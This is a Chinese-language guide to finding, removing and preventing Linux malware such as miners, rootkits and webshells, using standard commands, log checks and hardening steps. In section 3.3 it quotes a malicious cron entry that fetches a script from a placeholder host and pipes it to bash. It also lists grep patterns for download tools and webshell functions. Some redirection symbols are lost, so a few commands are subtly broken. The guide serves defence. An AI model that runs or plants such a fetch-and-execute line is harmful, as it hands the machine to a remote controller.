Linux服务器被植入挖矿木马、webshell或者rootkit这事在运维圈里其实远比想象中常见。很多人觉得Linux天然安全但实际上只要暴露了端口、用了弱密码、某个web服务有漏洞机器就可能在几分钟内被入侵之后你的CPU被拉满、带宽被占尽、系统里多出几个你从没见过的进程和文件。这篇内容围绕“检测、清除、预防”三条线展开既讲清楚每一条命令背后的思路也会给出可以直接复制的操作流程适合服务器运维、嵌入式开发和自建服务的同学参考。整个排查过程不需要商业软件也不依赖云厂商的防护面板只要你有一台终端和一个多小时就能完成一轮相当扎实的系统体检。1. 先认清威胁Linux恶意软件的真实画像在动手检测之前得先纠正一个观念Linux恶意软件不是“有没有”的问题而是“已经在了你没发现”的问题。攻击者的手法早就不是修改系统文件那种粗暴路子而是倾向于在不引起注意的情况下长期驻留最常见的有四类挖矿木马是最泛滥的。攻击者通过未授权访问进入系统后投放一个挖矿程序通常伪装成kworker、sysupdate、java这类看起来正常的进程名占用你几个核心的CPU去挖门罗币。它的特点是CPU居高不下但不影响你当前业务的最低运行所以很多管理员直到账单暴涨才发现。Rootkit更隐蔽。它会劫持系统调用、隐藏文件和进程直接向你撒谎。你执行ls看不到恶意文件执行ps看不到恶意进程因为这些输出都被过滤过一遍。很多rootkit还带内核模块查起来比较棘手。Webshell主要盯上Web服务。攻击者拿到一个上传点或者利用框架漏洞往web目录里塞一个PHP或JSP脚本通过浏览器就能远程执行命令。它的存在不引起系统层面的异常你光看进程列表根本看不出问题必须查web日志和文件完整性。勒索加密虽然占比不如前几类但破坏性最大。入侵者直接把数据目录加密然后留下勒索说明。这类攻击的检测窗口极短通常只能靠文件变动监控和及时备份来自保。了解了这些画像你就明白为什么“杀毒软件扫描一遍”这种思路在Linux上不太够用。检测工作的本质是两件事一是找异常行为二是找异常文件。行为层面看CPU、网络、登录、command history文件层面看新增、被替换、权限异常的系统文件。下面这套流程就是围绕这两个层面展开的。2. 检测前的准备系统基线与工具选型很多人在排查时容易手忙脚乱原因不是不会命令而是不知道“正常状态”长什么样。如果对平时系统的进程数量、网络连接数、开机启动项没有基本记忆那你看到任何输出都会觉得可疑反而无法聚焦。2.1 先确认系统自身的完整性在开始怀疑恶意软件之前先确认你手里的工具本身没有被污染。检查一下系统时间和时区是否正确命令是否被替换过date ls -l /bin/ps /bin/ls /bin/netstat /usr/bin/top /usr/bin/find正常情况下这些文件都属于root而且不应有近期修改痕迹。如果文件所有者可疑或者修改时间刚好卡在你印象中的某个异常时间点那就不能太信任同目录下的命令了。内存中的rootkit是无法通过文件属性看到的但对于大部分基于文件替换的入侵这轮检查已经能暴露问题。另外建议确认/etc/ld.so.preload是否存在且非空这个文件是Linux系统里一个非常危险的持久化点通过LD_PRELOAD机制可以在所有进程启动时加载恶意动态库cat /etc/ld.so.preload 2/dev/null cat /etc/ld.so.conf 2/dev/null ls -la /etc/ld.so.conf.d/如果ld.so.preload里有非系统库的路径或者ld.so.conf.d里出现长相奇怪的文件那系统里的命令输出基本都不可信。先抢救数据再考虑重装系统。2.2 常用检测工具清单纯手查不依赖额外安装适合快速响应工具扫描适合全盘体检。两套配合用效果最好。场景工具/命令用途进程排查top、ps、pstree找CPU内存异常的进程网络排查ss、netstat、lsof找外联或监听的可疑端口文件排查find、stat、strings定位最近创建/修改的可疑文件Rootkit扫描chkrootkit、rkhunter、Lynis检测已知rootkit特征恶意文件扫描ClamAV按病毒库特征匹配已知恶意软件日志分析journalctl、/var/log/secure、/var/log/auth.log回溯入侵路径行为监控auditd、osquery事后分析和实时监控如果你不想在手头机器上装额外软件可以先只依靠前三行的命令完成定位再用后面三行做确认。比如chkrootkit和rkhunter这两个老牌工具在各大发行版仓库里都有装起来很快# Debian/Ubuntu apt install chkrootkit rkhunter clamav # CentOS/RHEL yum install chkrootkit rkhunter clamav有一个容易被忽略的点Chkrootkit和Rkhunter查的是“已知特征”新出的rootkit它们未必能识别。所以工具扫描只能作为辅助确认真正起决定性作用的还是你对系统异常行为的敏感度。后面第三节的分析方法才是整个检测过程的核心。3. 检测实战从异常行为到文件级定位这一节是真正耗时间的环节。我会按照“CPU/内存 - 网络 - 启动项 - 文件系统 - 日志”的顺序来讲。这个顺序遵循一个原则由易到难先找最好发现的再用逻辑推理找难发现的。实际操作时你不一定要照抄所有命令但每一步的思路要理解。3.1 第一步CPU和内存排查抓挖矿木马登录服务器后第一件事运行top按大写P让进程按CPU使用率排序。正常情况下占据CPU榜首的应该是你的业务进程或者数据库如果你看到一个不认识的进程占据大量CPU这就是第一个嫌疑点。挖矿进程最经典的特征就是CPU占用高。你可以执行top -c-c参数会显示完整的命令行很多挖矿程序会用脚本包装成/tmp/...路径下的程序或者伪装成kworker之类的名字。这里有个实用技巧真实的内核线程kworker在执行时命令行一般是方括号包起来的比如[kworker/u4:2]如果你看到kworker -c /tmp/xmrig这种带路径的、没有方括号的“kworker”那基本可以判定是伪装进程。接着把嫌疑进程的PID记下来深入看它的信息# 查看进程的启动命令和完整参数 ps aux | grep PID | grep -v grep ls -l /proc/PID/exe cat /proc/PID/cmdline | tr \0 cat /proc/PID/environ | tr \0 \n | head -20/proc/PID/exe是一个符号链接指向该进程真正运行的可执行文件。通过它你能知道恶意程序在磁盘上的绝对路径这是清除阶段的重要依据。/proc/PID/environ则能暴露启动时注入的环境变量有些高级恶意软件会通过环境变量传递矿池地址和控制端地址。再用strace跟踪一下这个进程的系统调用看它访问了哪些文件、连接了哪些IP。不过要注意strace默认可能没装而且对rootkit免疫作为快速判断更简单的办法是直接看/proc/PID/fd它列出该进程打开的所有文件描述符ls -l /proc/PID/fd 2/dev/null如果看到socket文件描述符指向外部IP那连接方向也能确认。此时先别急着kill记录下你发现的一切信息下一步查网络连接时还能交叉验证。3.2 第二步网络连接排查揪出外联与后门排查网络连接的核心思路是一个正常业务服务器对外连接是有限的方向也是可预测的。如果你的服务器没有主动访问公网的需求却出现大量未知的外部连接这就是危险信号。ss -antp这条命令列出所有TCP连接并显示对应的进程PID和名称。重点观察ESTABLISHED状态的外联连接尤其是连接到高端口或云厂商IP的。挖矿木马会连接矿池端口常见的有3333、4444、5555、6666等后门木马则常连接4444、5555这样的反弹端口。如果你用的是老系统可能没有ss那就用netstatnetstat -antp两者的区别在于ss读取的是/proc/net速度更快信息也更全。接下来还要看UDP端口很多DNS隧道木马用UDP通信ss -uanp看监听端口时重点确认每一个LISTEN状态的端口是否属于你的业务。比如你的服务器只跑Nginx和MySQL那监听3306、80、443是正常的如果多出个不认识的端口在监听直接查对应的进程lsof -i :端口号还有个非常实用的排查点检查DNS请求。挖矿木马有时会通过DNS解析矿池域名来绕过IP黑名单。你可以临时抓一下DNS流量tcpdump -i eth0 port 53 -c 100 -n观察有没有高频、重复的奇怪域名解析比如一串随机字符开头、或者包含miner、pool字样的域名。3.3 第三步排查开机启动项和定时任务找持久化后门攻击者最怕你发现后清理所以他们一定会设置持久化机制。Linux下最常用的持久化手法就是系统服务、定时任务和shell配置文件。定时任务先查crontab -l cat /etc/crontab ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/这几个位置都可能被塞入恶意任务。重点看有没有wget或curl下载命令、有没有执行/tmp下脚本的记录。恶意定时任务的内容通常非常短比如*/5 * * * * curl -fsSL http://x.x.x.x/a.sh | bash这条命令的意思是每5分钟从远端下载一个脚本并执行攻击者可以通过更新脚本内容来控制你的机器。cron里出现bash管道这种写法基本可以直接判定为恶意。系统服务的排查也很关键systemctl list-unit-files --typeservice --stateenabled systemctl list-units --typeservice --staterunning查看所有启用的服务逐个确认服务名是否眼熟。恶意服务通常会以sysupdate、securityd、tmpclean这种看起来正常的名字出现。对于可疑服务查看它的启动脚本内容systemctl cat 服务名 systemctl status 服务名还要检查/etc/systemd/system/目录下的新增文件因为这个目录是可写的攻击者经常把服务文件丢在这里而不是系统自带的/lib/systemd/system/。比较一下两个目录的列表不认识的底下的文件基本上是入侵产物。最后别忘检查用户的shell配置文件cat ~/.bashrc ~/.profile cat /root/.bashrc /root/.profile grep -r curl\|wget\|base64 /home/*/.bashrc /home/*/.profile 2/dev/null有些攻击者会在root的.bashrc里追加一行自动执行恶意脚本的代码一旦你登录就触发。清理时特别容易漏掉这个位置。3.4 第四步文件系统排查锁定后门和Rootkit文件层面的排查最可靠的手段是“按时间线找”。大多数入侵都会产生文件写入脚本、二进制、日志擦除工具入侵时间窗口内的新增文件是嫌疑最大的。确定入侵时间点通常来自日志分析但如果没有明确时间点就先找最近一天到三天内变更过的文件find / -xdev -mtime -3 -type f \( -perm -0002 -o -perm -4000 \) 2/dev/null这条命令找出近三天内修改的、或者带suid位的文件。恶意软件很少会主动带suid提权但万一碰到了问题就严重得多优先处理。逐条检查输出重点看看web目录、/tmp、/var/tmp、/dev/shm这几个位置这些目录通常允许写入也是攻击者的藏身处。接着查/tmp、/var/tmp、/dev/shm下所有可执行文件ls -la /tmp /var/tmp /dev/shm find /tmp /var/tmp /dev/shm -type f -executable -ls 2/dev/null大部分挖矿木马都喜欢在这几个目录里落脚。查到的可疑文件先备份再用file和strings分析它是什么类型、引用了哪些字符串file /tmp/suspicious_file strings /tmp/suspicious_file | grep -i pool\|stratum\|miner\|http://如果文件是脚本直接cat看内容基本就能断定性质。还要检查是否有用户被添加了不必要的账户以及sudo权限是否被篡改cat /etc/passwd | grep -v nologin cat /etc/sudoers ls -la /etc/sudoers.d/恶意账户往往出现在passwd文件的末尾同时带有可登录shell。最后如果有内核模块的可疑迹象用lsmod对比基线lsmod如果看到一个不熟悉的内核模块名并且它的路径不来自标准目录先查证再考虑处理。处理内核级rootkit最稳妥的方案其实是备份数据后重装系统而不是在不确定的情况下随意卸载模块否则可能把系统搞得不稳定。3.5 第五步日志分析还原入侵路径日志这一步是收尾的确认环节但也是信息量最大的环节。找到恶意文件后你会好奇它是怎么进来的这个答案要靠日志来还原。登录失败的记录在/var/log/secureCentOS系或/var/log/auth.logDebian系查看暴力破解特征grep -i failed password\|authentication failure /var/log/auth.log | tail -50如果大量来自同一IP的失败尝试说明这台机器此前一直在被打。检查这些日志中是否有突然成功的记录如果有那这次入侵大概率就是暴力破解成功后导致的。对于Web服务看访问日志里有没有上传或执行痕迹# Nginx默认日志路径 /var/log/nginx/access.log # Apache /var/log/apache2/access.log重点搜索POST请求、.php/.jsp参数中含有cmd、exec、eval等关键字的请求以及上传接口路径。Webshell的存在通常伴随着一系列可疑的HTTP请求比系统层面更容易溯源。journalctl则是systemd时代的万能日志排查非常规时间段的异常操作很有用journalctl --since 2025-01-10 00:00:00 --until 2025-01-10 23:59:59 | grep -i session opened\|command命令历史也别放过尤其是root用户的cat /root/.bash_history攻击者如果拿到shell大概率会留下痕迹。虽然真正老练的攻击者会清除历史但大部分自动化攻击脚本不会这么严谨。历史命令里的敏感操作能帮你判断入侵者做了哪些动作、植入了哪些东西对后续清理有直接指导意义。4. 恶意软件的清除步骤与恢复技巧检测完成之后清除阶段最忌“上来就杀”。杀个进程简单但没拔出背后的持久化机制十分钟后它又会复活。清一套恶意软件建议按下面五步走。4.1 隔离与取证别忙着删先保存证据这一步很多人忽略。我看到过不少运维同学发现可疑进程后立刻kill接着把相关文件删了结果后续想溯源、想复盘什么证据都没有。正确的做法是先隔离把可疑文件整体打包保存同时记录时间、路径、MD5。确定恶意程序路径后先做备份再删除mkdir -p /var/evidence cp /usr/bin/suspicious /var/evidence/ md5sum /usr/bin/suspicious /var/evidence/md5.txt如果机器还能正常运行顺手把恶意进程的完整命令行、打开的网络连接、相关的定时任务、service文件都导出存到同一个目录。这样做的好处是万一清理不彻底之后你可以对照证据文件里的特征重新排查。4.2 终止进程并清理持久化机制拿到足够的证据后才动手终止进程kill -9 PID如果对方是root权限进程而且有自我保护和守护进程单杀一次还会被拉起来。那就要“连根拔”# 先查进程的父进程 ps -o ppid -p PID # 递归杀掉整个进程树 pkill -9 -f 进程名或特征字符串清理持久化机制是重中之重。按第三节的排查结果逐项处理删除恶意定时任务编辑crontab -e和/etc/crontab去掉恶意行。禁用恶意服务systemctl stop 服务名 systemctl disable 服务名再删除对应的service文件。清理shell配置文件里被追加的内容。如果发现恶意账户删掉userdel -r 用户名。移除LD_PRELOAD相关恶意配置。每一步操作后记录一下发生了什么免得遗漏。尤其注意如果恶意服务是开机自启你禁用之后还要验证一下重启后是否生效。4.3 清理恶意文件并修复被篡改的系统文件清理完持久化机制再把恶意文件本身处理掉。对/tmp、/var/tmp、/dev/shm这些位置直接删除可执行文件对替换系统二进制的情况则要恢复原版。如果你知道哪个系统文件被替换可以通过包管理器校验并重装# Debian/Ubuntu dpkg -V | grep -i missing\|modified apt install --reinstall 软件包名 # CentOS/RHEL rpm -Va rpm -qf /usr/bin/ls yum reinstall 软件包名rpm -Va和dpkg -V是校验所有已安装文件完整性的命令能查出哪些文件被改动过。被标记为modified并且不是你自己改过的文件就要特别小心。对二进制文件来说最稳妥的做法是重装软件包不要把攻击者留下的可执行文件“修一修”继续用。对于可疑的库文件尤其是/usr/lib或/usr/local/lib下近期新增的动态库也要纳入清理范围。可以先查这些文件被哪些进程引用了lsof /usr/lib/libmalware.so确认没有引用的删除即可同时检查ldconfig -p的缓存列表。4.4 网络层清理与账户安全重置恶意程序通常会在系统里留下后门账户和iptables规则。检查当前系统的防火墙规则清理可疑条目iptables -L -n -v iptables -t nat -L -n -v如果发现有端口转发规则或者允许特定外部IP访问的规则记录下来然后删除对应的规则行。攻击者有时会在服务器上配置iptables规则用于端口转发以便穿透内网进行横向渗透。账号安全方面所有密码都要重置最好强制下次登录修改# 需要重置密码的用户 passwd -e 用户名SSH密钥更要清理列出所有用户的~/.ssh/authorized_keys把你不认识的公钥删除。攻击者植入自己的公钥后即使你改了密码他照样能免密登录这是最容易被忽视的后门。ls -la /home/*/.ssh/ /root/.ssh/ cat /root/.ssh/authorized_keys # 检查是否只有你自己的公钥4.5 系统完整性验证确认清理干净清理完之后不能因为进程消失了就宣布胜利。重启一次服务器然后从头再跑一遍基础检测top看CPU、ss看网络连接、检查定时任务、检查启动项。这一遍的目的是验证恶意软件没有自启动能力了不会在重启后再次出现。如果条件允许把清理前后的进程快照和文件列表做个对比。重启后运行一轮工具扫描rkhunter --check --skip-keypress chkrootkit这两条命令跑完没有报出异常说明系统的大部分已知特征都恢复正常了。5. 防线构建一套能落地的预防方案讲到预防很多文章喜欢罗列一堆安全软件但实际运维中真正保护系统的往往是基础习惯。下面这套方案花不了多少钱但能拦住绝大多数自动化攻击。5.1 入口加固从源头减少暴露面第一道防线是减少暴露面。关闭不必要的端口和服务使用防火墙只放行必要流量。这里说的不是复杂的防火墙策略而是基础的白名单思路# 只放行SSH、HTTP、HTTPS其他入站全部拒绝 iptables -P INPUT DROP iptables -A INPUT -p tcp --dport 22 -j ACCEPT iptables -A INPUT -p tcp --dport 80 -j ACCEPT iptables -A INPUT -p tcp --dport 443 -j ACCEPT iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT使用云厂商安全组或自建防火墙时同理。另外把SSH默认端口改了、禁止root直接登录、启用密钥认证这几项加起来能让暴力破解成功率降到非常低# /etc/ssh/sshd_config PermitRootLogin no PasswordAuthentication no Port 2222改完记得systemctl restart sshd。这里提示一下改配置时先另开一个终端保持现有SSH连接避免配置错误后把自己锁在外面。5.2 入侵检测与实时监控让异常第一时间现形没有监控的系统安全问题只会在造成损失后才被发现。部署一套轻量级监控成本不高价值却很大。文件完整性监控方面最简单的是用AIDE或Tripwire初始化数据库定期检查文件变化。以AIDE为例apt install aide aideinit mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db aide --check初始化会对你指定的目录做哈希快照之后的check会对比出所有变化。建议重点关注/bin、/sbin、/usr/bin、/etc这些目录Web目录如果有也加进去。系统行为监控方面配置auditd追踪关键操作auditctl -w /etc/passwd -p wa -k user_modification auditctl -w /etc/crontab -p wa -k cron_modification auditctl -w /var/www/html/ -p wa -k web_modification这些规则记录谁在什么时间改过这些关键文件。配合日志报表能在入侵的第一时间看到线索。网络层面每天定时执行一次端口和连接扫描输出异常对比# 简单脚本每天记录当前监听端口和外部连接数量 ss -antp | grep LISTEN /var/log/port_audit_$(date %F).log ss -anp | grep ESTAB | awk -F: {print $(NF-1)} | sort | uniq -c哪怕没有专门的日志分析平台定期人工扫一眼这些记录也能掌握系统的正常基线。5.3 定期巡检清单把检查变成习惯预防措施再多如果从不巡检等于没有。推荐一个半自动化的巡检清单每月跑一遍巡检项目命令/操作频率登录审计last -a、检查/var/log/secure失败记录每周用户账户审计cat /etc/passwd确认每个账户的用途每月定时任务审计crontab -l、查看/etc/cron.*每月网络连接审计ss -antp对比基线每周文件完整性aide --check、rkhunter --check每月系统更新安装安全补丁及时/每月把这些命令写进一个脚本输出到固定日志文件每周花几分钟扫一眼两周下来就能对自己的系统基线有清晰认知。还有一点容易被忽略的是系统和应用的日志要定期归档避免日志文件被恶意填满导致关键信息丢失。5.4 Docker容器环境下的特殊注意事项如果你的服务跑在Docker里预防思路稍有区别。容器里的恶意软件排查不能只看宿主机容器镜像本身可能就是风险来源docker ps docker stats --no-stream监控每个容器的资源占用某个容器CPU长期接近上限要警惕。容器内出现进程可以通过docker top查看必要时进入容器实际操作docker top 容器名 docker exec -it 容器名 /bin/sh不过啊在容器内排查恶意软件比在宿主机上还要麻烦因为容器内工具通常不完整top和ss可能都没装。更实用的做法是先对镜像做扫描再对部署流程做约束。docker scan依赖Synk或trivy可以扫描镜像里的已知漏洞和恶意组件。出问题后最简单的处置方案是直接销毁容器重新拉取可信镜像而不是在容器里做细致清理。因为容器本身就是可丢弃的重建成本远比清理低。6. 常见问题排查实录实战中会遇到不少“看起来不对劲但查不出问题”的情况这里整理几条高频困惑对照着看能少走弯路。为什么top显示CPU占用高但找不到嫌疑进程这种情况多半遇到了进程伪装或rootkit隐藏。先检查是否存在大量不可中断的D状态进程其次看进程PID是否有异常跳号。更稳妥的办法是用ps -ef的完整列表和top输出对照rootkit倾向于在/proc里做手脚无法完全同时隐藏两种情况。恶意脚本一直在下载同一个文件删了还在怎么办说明触发机制还在。常见的是定时任务没清干净或者某个父进程守护脚本还在运行。先pstree看进程树找到那个反复拉起的父进程再查它的配置和启动方式。只有切断源头反复下载才会停止。Web目录里发现了webshell但不确定是不是误报先看文件创建时间再对应该时间点的访问日志。如果文件创建时间里正好有上传请求或者异常POST请求那基本可以断定。另外用grep搜索eval、base64_decode、assert这类高风险函数找出疑似样本后到本地的隔离环境里执行测试不要在生产机上乱试。服务器被喊停或云厂商通知有挖矿行为但是登录后CPU一切正常攻击者可能把挖矿进程做成了闹钟式爆发只在某个时间段启动挖矿或者使用低优先级让CPU占用率始终低于阈值。此时别只盯CPU重点看网络连接的频率和方向找出间歇性外联的连接。另外注意检查/tmp下是否有按计划执行的脚本很多矿机用脚本控制启停时间。勒索病毒加密了文件还有救吗取决于加密方式。很多勒索木马用的是对称加密密钥存在本机的话理论上有恢复可能但实际操作非常复杂。最佳策略永远是防患未然对重要数据启用快照和异地备份每天自动执行增量备份。备份文件与生产环境隔离存储这样即使文件系统被加密最多回滚一天的损失。系统公司要求停用root密码登录但又要维护方便如何平衡专门建一个维护账户加入sudo组日常操作通过这个账户进行。必要时可加入sudo免密但要限制特定命令范围比如只允许systemctl管理和docker命令。服务器数量多时加一层跳板机统一认证比直接给root公钥更可控。7. 我的实操体会与最后提醒这些年帮人处理过不少Linux系统问题看着别人踩坑自己也踩过。最深的体会是绝大多数Linux恶意软件入侵靠的不是什么高深0day而是弱密码、未修复的漏洞和被遗忘的服务。防护思路没有那么玄学把入口管住、把更新做勤、把日志看住就能避开百分之九十以上的常用攻击手段。最后再分享一个经常被忽略的小细节很多人清理完系统后直接投入使用却忘了把清理过程中复制到系统里的诊断工具链清掉。无论是你手动下载的扫描器、自己编写的排查脚本还是分析用的静态编译工具用完后都应该从生产环境移除。因为这类工具本身就是攻击者眼中的高价值目标防护不足的内网如果再次被入侵这些带权限的工具可能被利用做二次攻击。我的习惯是准备一个专用的“救援U盘”或者/opt/safe-tools目录仅在对系统做安全维护时挂载日常保持卸载状态。实际操作中还有个小技巧可以分享养成记录关键命令输出到文件里并按日期存档的习惯哪怕只是每月一条ss -antp的保存。当系统真的出问题时你对比“之前的状态”和“现在的状态”找问题会快得多。这个习惯救过我好几回强烈建议你从今天就开始。